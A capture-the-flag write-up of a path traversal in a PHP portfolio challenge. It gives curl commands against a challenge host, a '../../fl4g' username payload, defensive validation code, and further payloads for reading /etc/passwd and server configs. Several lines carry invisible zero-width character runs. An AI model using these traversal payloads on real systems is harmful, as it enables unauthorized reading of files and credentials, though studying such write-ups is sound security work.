← Back to Writeups
CUSTOMEasyWeb

Portfolio (Red Portfolio)

XESXOR9/10/20262 min read
#web#custom#easy#arbitrary-file-read-through-pr#path-traversal-via-username-pa#linux

Portfolio (Red Portfolio)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-19 | Status: Solved Techniques: Arbitrary file read through profile mechanism, Path Traversal via username parameter

Summary

Task: PHP portfolio application with user profiles stored as files. Solution: Path traversal via username parameter (../../fl4g) to read flag file outside web root.

Portfolio — hackerlab.pro

Description

Создай профиль с навыками и опытом, чтобы устроиться на работу мечты… или хотя бы впечатлить HR.

PHP application for creating portfolios. Users can register and view their profiles.

Analysis

Application Structure

From the Dockerfile, the file layout is visible:

  • Web root: /var/www/html/
  • Profiles: /var/www/html/files/{username}.txt
  • Flag: /var/www/fl4g.txt

Vulnerable Code

auth.php (registration):

php
$username = trim($_POST["username"] ?? "");
// ...
@mkdir(__DIR__ . "/files/", 0777, true);
file_put_contents(__DIR__ . "/files/" . $username . ".txt", json_encode($profile, ...));
$_SESSION["user"] = $username;

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

index.php (profile reading):

php
$currentUser = $_SESSION["user"] ?? null;
$userFile = $currentUser ? __DIR__ . "/files/" . $currentUser . ".txt" : null;
if ($userFile && is_readable($userFile)) {
    $content = file_get_contents($userFile);
}

Vulnerability

Username is directly used in the file path without any sanitization. The ../ sequences are not filtered.

Path Calculation

Web root:     /var/www/html/
Files dir:    /var/www/html/files/
Flag:         /var/www/fl4g.txt
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Username:     ../../fl4g
Result path:  /var/www/html/files/../../fl4g.txt
Normalized:   /var/www/fl4g.txt  ✓

Flag Display

When the file content is not valid JSON, it is output as-is in a <pre> tag:

php
<?php $json = parseJsonIfValid($content); if ($json !== false): ?>
    <!-- JSON profile display -->
<?php else: ?>
    <pre class="r"><?php echo htmlspecialchars($content); ?></pre>
<?php endif; ?>

Solution

Exploitation via curl

bash
# 1. Register with path traversal username
curl -s -c /tmp/cookies.txt -X POST "http://62.173.140.174:16097/auth.php" \
  -d "action=register&username=../../fl4g&password=test123&area=test&skills=test&certs=test&about=test"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2. Login and get the flag
curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt -X POST "http://62.173.140.174:16097/auth.php" \
  -d "action=login&username=../../fl4g&password=test123" -L

Exploitation via Browser

  1. Open the registration form
  2. Enter in the username field: ../../fl4g
  3. Fill other fields with arbitrary data
  4. Click "Spawn"
  5. After registration, the flag will be displayed in the Profile section

Result

After login, the application tries to read /var/www/html/files/../../fl4g.txt, which normalizes to /var/www/fl4g.txt. The flag content is not JSON, so it is output as raw text. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

php
// Proper username validation
$username = trim($_POST["username"] ?? "");

// Option 1: Character whitelist
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $username)) {
    die("Invalid username");
}

// Option 2: Remove dangerous sequences
$username = str_replace(['..', '/', '\\'], '', $username);

// Option 3: basename() to extract only the filename
$safeFilename = basename($username) . ".txt";

Additional Vectors

With path traversal available, you can also try:

  • /etc/passwd — ../../../etc/passwd
  • Application source code — ../index.php (without .txt)
  • Apache configs — ../../../etc/apache2/apache2.conf ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍